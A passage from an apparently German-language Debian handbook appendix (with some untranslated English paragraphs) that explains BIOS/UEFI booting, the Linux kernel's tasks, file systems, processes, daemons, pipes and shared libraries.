Der Bootsektor (oder die UEFI Partition) enthält seinerseits Software, Boot-Loader genannt, dessen Zweck darin besteht, ein Betriebssystem zu finden und auszuführen. Da dieser Boot-Loader nicht auf der Hauptplatine eingebettet ist, sondern von einer Platte geladen wird, kann er intelligenter als das BIOS sein, woraus sich erklärt, warum nicht das BIOS selbst das Betriebssystem lädt. Zum Beispiel kann der Boot-Loader (auf einem Linux-System häufig GRUB) die verfügbaren Betriebssysteme auflisten und den Benutzer bitten, eines auszuwählen. Normalerweise ist dies mit einem Zeitlimit und einer voreingestellten Auswahl versehen. Manchmal kann der Benutzer auch zusätzliche Parameter zur Weiterleitung an den Kernel angeben und so weiter. Schließlich wird ein Kernel gefunden, in den Speicher geladen und ausgeführt.

NOTIZ UEFI, ein moderner BIOS-Ersatz

BIOS (which stands for Basic Input/Output System) is a software that is included in the motherboard - the electronic board connecting all peripherals - and executed when the computer is booted, in order to load an operating system (via an adapted bootloader). It stays in the background to provide an interface between the hardware and the software (in our case, the Linux kernel).

In 2005/2006 its successor, the UEFI (Unified Extensible Firmware Interface) specification, has been published. This specification defines an interface that has the same purpose as the BIOS, but tries to provide more usability, extensibility, and flexibility, a graphical user interface, and true 64bit support. And it got rid of some of the limitations of BIOS booting: with the usage of a dedicated partition, the bootloaders no longer need special tricks to fit in a tiny master boot record and then discover the kernel to boot. Even better, with a suitably built Linux kernel, UEFI can directly boot the kernel without any intermediary bootloader. UEFI is also the basic foundation used to deliver Secure Boot, a technology ensuring that you run only software validated by your operating system vendor.

Nowadays, most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI. This is called the Compatibility Support Mode/Module (CSM). But, several manufacturers have either announced to cease support for the legacy BIOS mode in their UEFI implementation, or they already did. This transition, however, has not been without discussion nor without criticism.

Das BIOS/UEFI ist auch dafür zuständig, eine Anzahl von Geräten zu finden und zu initialisieren. Offensichtlich gehören hierzu die IDE/SATA-Geräte (normalerweise Festplatten und CD/DVD-ROM-Laufwerke) aber auch PCI-Geräte. Erkannte Geräte werden häufig während des Hochfahrens auf dem Bildschirm angezeigt. Falls diese Liste zu schnell vorbeiläuft, können Sie die Pause-Taste drücken, um sie zum Lesen anzuhalten. PCI-Geräte, die installiert sind, aber nicht angezeigt werden, sind ein schlechtes Zeichen. Im schlimmsten Fall ist das Gerät defekt. Im besten Fall ist es nur nicht mit der aktuellen Version des BIOS oder der Hauptplatine kompatibel. PCI-Spezifikationen entwickeln sich weiter, und bei alten Hauptplatinen ist nicht gewährleistet, dass sie mit neueren PCI-Geräten umgehen können.

B.3.3. Der Kernel

Sowohl das BIOS/UEFI als auch der Boot-Loader laufen jeweils nur für einige Sekunden; wir gelangen nun zur ersten Software, die länger läuft: dem Betriebssystem-Kernel. Dieser Kernel nimmt die Rolle eines Orchesterdirigenten ein und gewährleistet die Koordination zwischen Hardware und Software. Zu dieser Rolle gehören mehrere Aufgaben, unter anderem: Hardware betreiben, Prozesse verwalten, Benutzer und Berechtigungen, das Dateisystem und so weiter. Der Kernel stellt eine gemeinsame Grundlage für alle anderen Programme des Systems zur Verfügung.

B.3.4. Die Anwendungsebene

Obwohl alles, was außerhalb des Kernels geschieht, unter dem Begriff „Anwendungsebene“ zusammengefasst werden kann, können wir sie dennoch in verschiedene Software-Ebenen unterteilen. Ihr Zusammenwirken ist jedoch komplexer als zuvor, und die Unterteilungen sind manchmal nicht gerade einfach. Eine Anwendung verwendet normalerweise Bibliotheken, die wiederum den Kernel einbeziehen, die Kommunikation kann aber auch andere Programme einbeziehen, oder zahlreiche Bibliotheken können sich sogar gegenseitig aufrufen.

B.4. Einige vom Kernel erledigte Aufgaben

B.4.1. Die Hardware steuern

Es ist vor allem Aufgabe des Kernels, die Hardwareelemente zu steuern, sie zu erkennen, sie einzuschalten, wenn der Rechner angeschaltet wird, und so weiter. Er macht sie auch über eine vereinfachte Programmierschnittstelle für die Software auf höherer Ebene verfügbar, so dass Anwendungen Geräte nutzen können, ohne sich um Einzelheiten kümmern zu müssen, wie zum Beispiel, in welchen Erweiterungssteckplatz die Optionsplatine eingesteckt ist. Die Programmierschnittstelle stellt auch eine Abstraktionsschicht zur Verfügung; diese ermöglicht es zum Beispiel einer Videokonferenz-Anwendung, eine Webkamera unabhängig von ihrer Marke und ihrem Modell zu verwenden. Die Anwendung kann einfach die Schnittstelle Video for Linux (V4L) benutzen, und der Kernel übersetzt die Funktionsaufrufe dieser Schnittstelle in die tatsächlichen Hardwarebefehle, die von der konkret verwendeten Webkamera benötigt werden.

The kernel exports many details about detected hardware through the /proc/ and /sys/ virtual filesystems. Several tools summarize those details. Among them, lspci (in the pciutils package) lists PCI devices, lsusb (in the usbutils package) lists USB devices, and lspcmcia (in the pcmciautils package) lists PCMCIA cards. These tools are very useful for identifying the exact model of a device. This identification also allows more precise searches on the web, which in turn, lead to more relevant documents.

Beispiel B.1. Beispiel der von lspci und lsusb angezeigten Informationen

$ lspci [...] 00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05) 00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05) 00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04) 00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31) 00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31) [...] 02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32) 03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01) 03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12) 04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983 $ lsusb Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp. Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Diese Programme haben eine Option -v, durch die wesentlich detailliertere (aber gewöhnlich nicht erforderliche) Informationen angezeigt werden. Schliesslich listet der Befehl lsdev (im Paket procinfo) die von den Geräten benutzten Kommunikationsressourcen auf.

Anwendungen greifen häufig mittels spezieller in /dev/ erzeugter Dateien auf Geräte zu (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte). Dies sind besondere Dateien, die Plattenlaufwerke (zum Beispiel /dev/hda und /dev/sdc), Partitionen (/dev/hda1 oder /dev/sdc3), Mäuse (/dev/input/mouse0), Tastaturen (/dev/input/event0), Soundkarten (/dev/snd/*), serielle Schnittstellen (/dev/ttyS*) und so weiter repräsentieren.

B.4.2. Dateisysteme

Dateisysteme sind einer der bedeutendsten Aspekte des Kernels. Unix-Systeme vereinen alle Dateispeicher in einer gemeinsamen Hierarchie, die es Benutzern (und Anwendungen) ermöglicht, auf Daten einfach durch Kenntnis ihres Ortes innerhalb dieser Hierarchie zuzugreifen.

Der Ausgangspunkt dieses Hierarchiebaums wird „root“ genannt, /. Dieses Verzeichnis kann mit Namen versehene Unterverzeichnisse enthalten. Das Unterverzeichnis home von / wird beispielsweise /home/ genannt. Dieses Unterverzeichnis kann wiederum weitere Unterverzeichnisse enthalten und so weiter. Jedes Verzeichnis kann auch Dateien enthalten, in denen die tatsächlichen Daten gespeichert sind. So bezieht sich /home/rmas/Desktop/hello.txt auf eine Datei namens hello.txt, die im Unterverzeichnis Desktop des Unterverzeichnisses rmas des Verzeichnisses home gespeichert ist, das sich in root befindet. Der Kernel übersetzt zwischen diesem Benennungssystem und dem tatsächlichen, physikalischen Speicherort auf einer Platte.

Im Gegensatz zu anderen Systemen gibt es nur eine derartige Hierarchie, und sie kann Daten verschiedener Speicherplatten einbinden. Eine dieser Platten wird als Wurzelverzeichnis verwendet, und die übrigen werden innerhalb der Hierarchie in Verzeichnissen „eingehängt“ (der entsprechende Unixbefehl heißt mount); diese anderen Platten sind dann unter ihren „Einhängepunkten“ verfügbar. Hierdurch wird es möglich, die Home-Verzeichnisse der Benutzer (üblicherweise in /home/ gespeichert) auf einer zweiten Festplatte abzuspeichern, die dann Verzeichnisse wie rhertzog und rmas enthält. Sobald diese Platte auf /home/ eingehängt ist, sind diese Verzeichnisse an ihren üblichen Orten zugänglich, und Pfade wie /home/rmas/Desktop/hello.txt funktionieren weiterhin.

Es gibt zahlreiche Dateisystemformate entsprechend den zahlreichen Arten, auf die Daten physisch auf Platten gespeichert werden. Die bekanntesten sind ext3 und ext4, es gibt aber auch andere. vfat ist zum Beispiel das System, das ursprünglich von DOS und den Windows-Betriebssystemen verwendet wurde, mit dem es möglich ist, Festplatten sowohl unter Debian als auch unter Windows zu benutzen. In jedem Fall muss auf einer Platte ein Dateisystem eingerichtet werden, bevor sie eingehängt werden kann, und dieser Vorgang wird als „formatieren“ bezeichnet. Befehle wie mkfs.ext3 (wobei mkfs für MaKe FileSystem steht) erledigen das Formatieren. Diese Befehle benötigen als einen ihrer Parameter eine Gerätedatei, die die zu formatierende Partition darstellt (zum Beispiel /dev/sda1). Dieser Vorgang ist löschend und sollte nur einmal ausgeführt werden, es sei denn, man möchte absichtlich ein Dateisystem unwiederbringlich löschen und von Neuem beginnen.

Es gibt auch Netzwerk-Dateisysteme, wie zum Beispiel NFS, bei denen Daten nicht auf einer lokalen Platte gespeichert sind. Stattdessen werden Daten über das Netzwerk zu einem Server übertragen, der sie nach Bedarf speichert und abruft. Die Dateisystem-Abstraktion bewahrt Benutzer davor, sich darum kümmern zu müssen: Dateien bleiben in ihrer üblichen hierarchischen Weise zugänglich.

B.4.3. Gemeinsam genutzte Funktionen

Da eine Anzahl von Funktionen von allen Programmen gemeinsam benutzt wird, macht es Sinn, sie im Kernel zusammenzufassen. Zum Beispiel ermöglicht der Einsatz eines gemeinsam benutzten Dateisystems es jeder Anwendung, einfach eine Datei anhand ihres Namens zu öffnen, ohne sich darum zu kümmern, wo die Datei physisch gespeichert ist. Die Datei kann in mehreren Teilen auf einer Festplatte gespeichert sein, über mehrere Festplatten verteilt sein oder sogar auf einem entfernten Dateiserver abgelegt sein. Gemeinsam genutzte Kommunikationsfunktionen werden von Anwendungen dazu verwendet, Daten unabhängig von der Art auf der sie transportiert werden, auszutauschen. Zum Beispiel könnte der Transport über eine beliebige Kombination aus lokalen und kabellosen Netzwerken oder über eine Festnetztelefonleitung verlaufen.

B.4.4. Prozesse verwalten

Ein Prozess führt ein Programm aus. Dies erfordert Speicherplatz, um sowohl das Programm selbst als auch seine Betriebsdaten zu speichern. Es ist die Aufgabe des Kernels, sie zu erzeugen und zu verfolgen. Wenn ein Programm läuft, reserviert der Kernel zunächst Speicherplatz, lädt dann den ausführbaren Code aus dem Dateisystem in den Speicher und beginnt schließlich, den Code auszuführen. Er hält Informationen über diesen Prozess bereit, von denen die am leichtesten erkennbare eine Identifikationsnummer namens pid (process identifier) ist.

Unix-artige Kernel (einschließlich Linux) sind, wie die meisten anderen modernen Betriebssysteme fähig, im „Mehrprozessbetrieb“ zu laufen. Mit anderen Worten ermöglichen sie die Ausführung zahlreicher Prozesse „zur gleichen Zeit“. In Wirklichkeit läuft zu einem bestimmten Zeitpunkt immer nur ein Prozess, aber der Kernel teilt die Zeit in kleine Abschnitte auf und führt reihum jeden Prozess aus. Da diese Zeitabschnitte sehr kurz sind (im Bereich von Tausendstelsekunden), entsteht die Illusion, dass die Prozesse parallel laufen, obwohl sie jeweils nur während bestimmter Zeitabschnitte aktiv sind und im übrigen untätig. Die Aufgabe des Kernels besteht darin, seinen Zeitplanungsmechanismus so anzupassen, dass diese Illusion erhalten bleibt, und gleichzeitig die allgemeine Systemleistung maximiert wird. Wenn die Zeitabschnitte zu lang sind, könnte es der Anwendung nicht so schnell angezeigt werden wie erwünscht. Sind sie zu kurz, verliert das System Zeit durch zu häufiges Umschalten zwischen den Aufgaben. Diese Entscheidungen können mithilfe von Prozessprioritäten optimiert werden. Prozesse mit hoher Priorität laufen länger und häufiger als Prozesse mit niedriger Priorität.

HINWEIS Multiprozessorsysteme (und Varianten)

Die oben beschriebene Einschränkung, nur einen Prozess gleichzeitig laufen zu lassen, gilt nicht immer. Die tatsächliche Einschränkung besteht darin, dass zu einem gegebenen Zeitpunkt immer nur ein Prozess je Prozessorkern laufen kann. Multiprozessor-, Multikern- oder „Hyper-Threading“-Systeme ermöglichen die parallele Ausführung mehrerer Prozesse. Das gleiche Zeitunterteilungssystem wird zwar weiterhin verwendet, jetzt jedoch dazu, mit Situationen umzugehen, in denen es mehr aktive Prozesse als verfügbare Prozessorkerne gibt. Dies ist nicht ungewöhnlich: ein einfaches System, selbst wenn es weitgehend nichts tut, führt fast ständig Dutzende von Prozessen aus.

Natürlich ermöglicht der Kernel es auch, mehrere unabhängige Instanzen desselben Programms auszuführen. Jedoch kann jede von ihnen nur auf ihre eigenen Zeitabschnitte und ihren eigenen Speicherplatz zugreifen. Ihre Daten bleiben daher voneinander unabhängig.

B.4.5. Rechteverwaltung

Unix-artige Systeme sind auch Mehrplatzsysteme. Sie verfügen über ein Rechteverwaltungssystem, das getrennte Gruppen und Benutzer ermöglicht und auf der Basis von Berechtigungen die Auswahl zwischen dem Zulassen und Blockieren von Aktionen. Der Kernel verwaltet für jeden Prozess die Daten, die es ermöglichen, Berechtigungen zu überprüfen. Meistens werden Prozesse anhand der Benutzer, die ihn gestartet haben, identifiziert. Der Prozess kann nur die Aktionen ausführen, die auch dem Besitzer erlaubt sind. Zum Beispiel muss der Kernel beim Versuch, eine Datei zu öffnen, die Identität des Prozesses hinsichtlich der Zugriffsberechtigungen überprüfen (für mehr Einzelheiten zu diesem speziellen Beispiel siehe Abschnitt 9.3, „Berechtigungen verwalten“).

B.5. Die Anwendungsebene

„Anwendungsebene“ bezieht sich auf die Laufzeitumgebung normaler Prozesse (im Gegensatz zu Kernelprozessen). Das bedeutet nicht unbedingt, dass diese Prozesse tatsächlich von Benutzern gestartet wurden, da auf einem Standardsystem üblicherweise bereits mehrere „Daemon“-Prozesse laufen, bevor ein Benutzer überhaupt eine Sitzung eröffnet. Daemon-Prozesse sind Prozesse der Anwendungsebene.

B.5.1. Prozess

Wenn der Kernel seine Initialisierungsphase beendet hat, startet er den ersten Prozess, init. Prozess #1 ist für sich selbst kaum nützlich und Unix-artige Systeme laufen mit vielen zusätzlichen Prozessen.

Zunächst einmal kann sich ein Prozess kopieren (dies wird als Fork bezeichnet). Der Kernel teilt einen neuen, aber gleichgroßen Prozess-Speicherplatz zu und einen weiteren Prozess, um ihn zu nutzen. Zu diesem Zeitpunkt besteht der einzige Unterschied zwischen den beiden Prozessen in ihrer PID. Der neue Prozess wird üblicherweise Kindprozess genannt, und der Prozess, dessen PID sich nicht ändert, Elternprozess.

Manchmal fährt der Kindprozess fort, sein eigenes Leben unabhängig vom Elternprozess mit seinen eigenen, vom Elternprozess kopierten Daten zu führen. In vielen Fällen führt der Kindprozess jedoch ein anderes Programm aus. Bis auf wenige Ausnahmen wird sein Speicher einfach durch den Speicher des neuen Programms ersetzt, und die Ausführung dieses neuen Programms beginnt. Dieser Mechanismus wird vom „init“-Prozess (der die Prozessnummer 1 hat) genutzt um weitere Services zu starten und so die gesamte Startsequenz durchzuführen. Zu einem bestimmten Zeitpunkt startet ein Prozess der init-Abkömmlinge dann eine grafische Schnittstelle, über die sich Benutzer anmelden können (der tatsächliche Ablauf der Ereignisse ist in größerer Ausführlichkeit in Abschnitt 9.1, „Systemstart“ beschrieben.

Wenn ein Prozess die Aufgabe, für die er gestartet wurde, erfüllt hat, beendet er sich. Anschließend nimmt der Kernel den diesem Prozess zugewiesenen Speicher wieder zurück und hört auf, Teile der Prozessorzeit zuzuteilen. Der Elternprozess wird über die Beendigung seines Kindprozesses informiert. Auf diese Weise kann ein Prozess auf den Abschluss einer Aufgabe warten, die er an einen Kindprozess übertragen hat. Dieses Verhalten ist bei Kommandozeileninterpretern (auch als Shells bekannt) deutlich zu sehen. Wenn ein Befehl in eine Shell eingegeben wird, erscheint die Eingabeaufforderung erst dann wieder, wenn die Ausführung des Befehls beendet ist. Die meisten Shells ermöglichen eine Ausführung des Befehls im Hintergrund. Dazu wird einfach ein & an das Ende des Befehls angehängt. Die Eingabeaufforderung wird dann sofort wieder angezeigt, was jedoch zu Problemen führen kann, wenn das abgesetzte Kommando seine eigenen Daten anzeigen muss.

B.5.2. Hintergrundprozesse (Dämonprozesse)

Ein „Daemon“ ist ein Prozess, der beim Hochfahren automatisch gestartet wird. Er läuft (im Hintergrund) weiter, um Verwaltungsaufgaben zu erledigen oder Dienste für andere Prozesse bereitzustellen. Diese „Hintergrundaufgabe“ ist genau genommen willkürlich und entspricht aus Sicht des Systems nichts Bestimmtem. Es sind, wie andere Prozesse auch, einfach Prozesse, die reihum laufen, wann immer ihr zugeteilter Zeitabschnitt kommt. Eine Unterscheidung gibt es nur in der menschlichen Sprache: ein Prozess, der ohne eine Interaktion mit einem Benutzer läuft (insbesondere ohne eine grafische Schnittstelle), wird als „im Hintergrund“ laufend oder als „Daemon“ bezeichnet.

WÖRTERVERZEICHNIS Daemon, Dämon, eine abwertende Bezeichnung?

Obwohl die Bezeichnung Daemon ihren griechischen Ursprung mit Dämon teilt, unterstellt erstere nichts teuflisch Übles, im Gegenteil sollte sie als eine Art hilfreicher Geist verstanden werden. Diese Unterscheidung ist im Englischen bereits recht subtil, in anderen Sprachen ist es jedoch noch schlimmer, in denen dasselbe Wort in beiden Bedeutungen verwendet wird.

Mehrere solcher Daemons sind ausführlich in Kapitel 9, Unix-Dienste beschrieben.

B.5.3. Interprozesskommunikationen

Ein einzelner Prozess, ob ein Daemon oder eine interaktive Anwendung, ist selten für sich genommen nützlich. Daher gibt es verschiedene Methoden, um getrennten Prozessen die Kommunikation miteinander zu ermöglichen, entweder um Daten auszutauschen oder um sich gegenseitig zu steuern. Die allgemeine Bezeichnung hierfür lautet Interprozesskommunikation oder abgekürzt IPC.

Das einfachste IPC-System besteht darin, Dateien zu verwenden. Der Prozess, der Daten übersenden möchte, schreibt sie in eine Datei (mit einem zuvor bekannten Namen), während der Empfänger nur die Datei zu öffnen und den Inhalt zu lesen braucht.

In den Fällen, in denen man keine Daten auf einer Platte speichern möchte, kann man eine Pipe benutzen, die einfach ein Objekt mit zwei Enden ist; Bytes, die am einen Ende geschrieben werden, können am anderen gelesen werden. Wenn diese Enden von verschiedenen Prozessen kontrolliert werden, führt dies zu einem einfachen und praktischen Interprozesskommunikationskanal. Pipes können in zwei Arten unterschieden werden: benannte Pipes und anonyme Pipes. Eine benannte Pipe wird durch einen Eintrag im Dateisystem dargestellt (obwohl die übermittelten Daten dort nicht gespeichert sind), so dass beide Prozesse sie unabhängig voneinander öffnen können, falls der Ort der benannten Pipe vorab bekannt ist. In Fällen, in denen die Kommunikationsprozesse in Zusammenhang miteinander stehen (zum Beispiel ein Eltern- und sein Kindprozess), kann der Elternprozess auch eine anonyme Pipe erstellen, bevor er sich vervielfältigt, und der Kindprozess übernimmt sie dann. Beide Prozesse können sodann durch diese Pipe Daten miteinander austauschen, ohne das Dateisystem zu benötigen.

IN DER PRAXIS Ein konkretes Beispiel

Lassen Sie uns beschreiben, was geschieht, wenn ein komplexer Befehl (eine Pipeline) von einer Konsole aus ausgeführt wird. Wir nehmen an, dass wir einen bash-Prozess haben (die standardmäßige Benutzerkonsole bei Debian) mit der PID 4374; in diese Konsole schreiben wir den Befehl: ls | sort.

Die Konsole interpretiert zunächst den eingegebenen Befehl. In unserem Fall versteht sie, dass es zwei Programme gibt (ls und sort) mit einem Datenstrom, der vom einen zum anderen fließt (gekennzeichnet durch das |-Zeichen, das als Pipe bezeichnet wird). bash erstellt zunächst eine anonyme Pipe (die anfangs nur innerhalb des bash-Prozesses selbst besteht).

Dann vervielfältigt sich die Konsole; dies führt zu einem neuen bash-Prozess mit der PID 4521 (PIDs sind abstrakte Zahlen und haben im Allgemeinen keine besondere Bedeutung). Prozess 4521 übernimmt die Pipe, was bedeutet, das er auf ihrer „Eingabe“-Seite schreiben kann; bash leitet seinen Standardausgabestrom auf die Eingabe dieser Pipe um. Dann führt es das Programm ls aus, das den Inhalt des aktuellen Verzeichnisses auflistet (und ersetzt sich selbst durch dieses Programm). Da ls auf seine Standardausgabe schreibt und diese Ausgabe zuvor umgeleitet wurde, werden die Ergebnisse im Endeffekt in die Pipe geschickt.

Ein ähnlicher Vorgang findet beim zweiten Befehl statt: bash vervielfältigt sich wieder, was zu einem neuen bash-Prozess mit der PID 4522 führt. Da er ebenfalls ein Kindprozess von 4374 ist, übernimmt er auch die Pipe; bash verbindet dann seine Standardeingabe mit der Pipeausgabe und führt danach den Befehl sort aus, der seine Eingabe sortiert und die Ergebnisse anzeigt (und ersetzt sich selbst durch diesen Befehl).

Alle Teile des Puzzles stehen nun bereit: ls liest das aktuelle Verzeichnis ein und schreibt die Liste der Dateien in die Pipe; sort liest diese Liste, sortiert sie alphabetisch und zeigt die Ergebnisse an. Die Prozesse 4521 und 4522 enden dann, und 4374 (der während des Vorgangs auf sie gewartet hatte) übernimmt wieder die Kontrolle und zeigt die Eingabeaufforderung an, die es dem Benutzer ermöglicht, einen neuen Befehl einzugeben.

Jedoch werden nicht alle Interprozesskommunikationen zur Übermittlung von Daten benutzt. In vielen Situationen bestehen die einzigen Informationen, die übertragen werden müssen, aus Steuerungsmitteilungen wie „Ausführung anhalten“ oder „Ausführung fortsetzen“. Unix (und Linux) stellen einen Mechanismus bereit, der Signale genannt wird, durch den ein Prozess einfach ein spezifisches Signal (aus einer festgelegten Liste vordefinierter Signale) an einen anderen Prozess senden kann. Die einzige Voraussetzung besteht hierbei darin, dass die PID des Zielprozesses bekannt ist.

Für komplexere Kommunikationen gibt es ebenfalls Mechanismen, die es einem Prozess ermöglichen, einem anderen Prozess Zugriff auf einen Teil des ihm zugeteilten Speicherplatzes zu gewähren oder ihn gemeinsam mit ihm zu benutzen. Der nun gemeinsam benutzte Speicherplatz ermöglicht es dann, Daten zwischen den Prozessen hin und her zu schieben.

Schließlich können auch Netzwerkverbindungen Prozessen helfen, miteinander zu kommunizieren; diese Prozesse können sogar auf verschiedenen Rechnern laufen, möglicherweise tausende von Kilometern voneinander entfernt.

Es ist für ein typisches Unix-artiges System recht normal, all diese Mechanismen in wechselndem Umfang zu verwenden.

B.5.4. Bibliotheken

Programmbibliotheken spielen in einem Unix-artigen Betriebssystem eine entscheidende Rolle. Sie sind nicht wirklich Programme, da sie für sich allein nicht ausgeführt werden können, sondern Ansammlungen von Code-Fragmenten, die von Standardprogrammen verwendet werden können. Unter den gängigen Bibliotheken sind vor allem folgende erwähnenswert:

die Standard-C-Bibliothek (glibc), die grundlegende Funktionen enthält wie das Öffnen von Dateien und von Netzwerkverbindungen und andere unterstützende Interaktionen mit dem Kernel;

grafische Werkzeugsätze, wie zum Beispiel Gtk+ und Qt, die es vielen Programmen ermöglichen, die grafischen Objekte, die sie bereitstellen, ihrerseits zu verwenden;

die libpng-Bibliothek, die das Laden, Interpretieren und Speichern von Bildern im PNG-Format ermöglicht.

Dank dieser Bibliotheken können Anwendungen bestehenden Code wiederverwenden. Die Anwendungsentwicklung wird hierdurch entsprechend vereinfacht; insbesondere, wenn viele Anwendungen die gleichen Funktionen wiederverwenden. Da Bibliotheken häufig von verschiedenen Personen entwickelt werden, steht die allgemeine Entwicklung dieses Systems der historischen Philosophie von Unix sehr nahe.

KULTUR Der Unix-Methode: Eins nach dem Anderen

Eines der wesentlichen Konzepte, das der Unix-Familie von Betriebssystemen zugrunde liegt, ist, dass jedes Werkzeug nur eine Sache erledigen sollte, und dass es diese gut machen sollte; Anwendungen können dann diese Werkzeuge wiederverwenden, um damit eine höhere Logik aufzubauen. Dieses Konzept ist in vielen Verkörperungen zu erkennen. Shellskripte sind vielleicht das beste Beispiel: sie fügen komplexe Folgen sehr einfacher Werkzeuge zusammen (wie zum Beispiel grep, wc, sort, uniq und so weiter). Eine andere Umsetzung dieser Philosophie ist in den Code-Bibliotheken zu erkennen: die Bibliothek libpng ermöglicht es, PNG-Bilder mit verschiedenen Optionen und auf verschiedene Weise zu lesen und zu schreiben, aber sie tut nur das; es kommt nicht infrage, dass ihr Funktionsmerkmale hinzugefügt werden, die Bilder anzeigen oder editieren.

Ferner werden diese Bibliotheken häufig als „gemeinsam benutzte Bibliotheken“ bezeichnet, da der Kernel sie nur einmal in den Speicher laden kann, selbst wenn gleichzeitig mehrere Prozesse dieselbe Bibliothek nutzen. Hierdurch kann im Vergleich zur entgegengesetzten (hypothetischen) Situation, bei der der Bibliothekscode so viele Male geladen würde, wie es Prozesse gibt, die ihn benutzen, Speicherplatz gespart werden.